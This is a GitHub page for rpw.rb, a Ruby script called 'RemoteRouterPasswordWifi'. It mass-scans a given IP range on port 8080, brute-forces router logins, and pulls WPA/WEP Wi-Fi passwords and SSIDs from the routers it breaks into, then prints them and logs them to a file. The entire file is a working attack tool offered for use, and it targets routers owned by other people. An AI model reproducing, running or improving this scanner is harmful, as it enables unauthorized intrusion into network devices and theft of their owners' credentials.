-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathrpw.rb
More file actions
167 lines (141 loc) · 3.84 KB
/
rpw.rb
File metadata and controls
167 lines (141 loc) · 3.84 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
require 'optparse'
require './lib/colorString'
require 'socket'
require 'net/http'
require "base64"
require 'thread'
require 'timeout'
require './lib/routerFP'
require './lib/objRpw'
require './lib/joinThread'
def setIp(tmpip,x)
return tmpip.gsub("*",x.to_s)
end
def getOptions()
OptionParser.new do |o|
o.banner = ""+"\nRemote router Password 0.1\n" + "Usage: example.rb [options]"
o.on('-R Range Ip','Set Range Ip',"Example: 190.158.217.*") do |ip|
$ipRange=ip
if ($ipRange =~ /[0-9\*]+\.[0-9\*]+.[0-9\*]+.[0-9\*]+/).nil?
puts "[-] Invalid Ip Format"
exit();
end
end
o.on('-t Number of threads',"number of Threads", ) do |step|
if (step =~ /[0-9]+/).nil? || step.to_i==0
puts "[-] Incorrect Number Of Threads"
exit();
end
$nThreads=step.to_i
end
o.on('-F ouput file') {|file| $fileOutput=file}
o.on('-z Min-Max', 'Min Max Range Ip') do |mM|
tmpSplit=mM.split('-')
min=tmpSplit[0]
max=tmpSplit[1]
if min =~ /[0-9]+/ && max =~ /[0-9]+/
$min = min.to_i
$max = max.to_i
end
end
o.on('-h', "Help"){puts o; exit}
o.parse!
if $ipRange.nil?
puts o
exit();
end
if $min.nil? && $max.nil?
$min=1
$max=255
end
if $fileOutput.nil?
$fileOutput=false
end
if $nThreads.nil?
$nThreads=50;
end
end
end
def vipRange()
puts "[+] #{$ipRange.gsub("*","(#{$min}-#{$max})")}"
end
def barnner()
puts " \t[------- RemoteRouterPasswordWifi ----------]"
puts " \t[---------------- s0c5 ---------------------]\n\n"
end
getOptions();
barnner();
vipRange();
puts "[+] total ip Scanned: #{$max-($min-1)}"
routers=[]
routersCrack=[]
threads=[]
for i in ($min..$max)
threads << Thread.new(setIp($ipRange,i)) do |ipTmp|
tmp=Rpw.new(ipTmp,8080)
if tmp.active
routers << tmp
end
end
if threads.size!=0 && threads.size%$nThreads==0
threads=joinThread(threads)
per=(i*100.0/($max-$min)).round(1)
puts "[+] Last ip: #{setIp($ipRange,i)}\t #{per>100?100: per}%"
end
end
threads=joinThread(threads)
puts "[+] ip Found: #{routers.size}"
puts "[+] Router Cracker init ..."
c=1;
routers.each do |router|
threads << Thread.new(router) do |routerTmp|
ret=routerTmp.crack()
if ret != false
routerTmp.detect(ret[:response].body)
if routerTmp.routerType==:cisco
ret2=routerTmp.crack("/wlanBasic.asp");
if ret2 != false
routersCrack << routerTmp
end
else
routersCrack << routerTmp
end
end
end
if threads.size != 0 && threads.size % $nThreads == 0
per=(c*100.0/routers.size).round(1)
puts "[+] Last Router cracked: #{router.ip}\t #{per>100?100: per}%"
threads=joinThread(threads)
end
c.next
end
threads=joinThread(threads)
puts "[+] Routers Cracked: #{routersCrack.size}"
routersCrack.each do |router|
puts "[++] Router crack: ip=#{router.ip}\ttype=#{router.routerType.nil? ? "" : router.routerType[0..6]}\tuser=#{router.user}\tpasswd=#{router.passwd}"
end
c=1
puts "[+] Geetting WPA,WEP from routers.."
routersCrack.each do |router|
threads << Thread.new(router) do |routerTmp|
if !routerTmp.routerType.nil?
routerTmp.getSW(["WPA","WEP"])
end
end
if threads.size != 0 && threads.size % $nThreads == 0
per=(c*100.0/routersCrack.size).round(1)
puts "[+] Getting Password wifi: #{router.ip}\t #{per>100?100: per}%"
threads=joinThread(threads)
end
c.next
end
threads=joinThread(threads)
puts "[+] password getting: "
routersCrack.each do |router|
if !router.routerType.nil?
puts "[+] Router #{router.routerType[0..5]}: ip=#{router.ip}\tssid=#{router.ssid}\tWPA=#{router.wifiPassword[:WPA].nil? ? " "*20 : router.wifiPassword[:WPA]}\t WEP=#{router.wifiPassword[:WEP]}"
end
if $fileOutput!=false
File.open($fileOutput,"a+").puts "[*] IP: #{router.ip}\t ssid: #{router.ssid}\t WPA: #{router.wifiPassword[:WPA].nil? ? " "*20 : router.wifiPassword[:WPA]}\t WEP: #{router.wifiPassword[:WEP]}"
end
end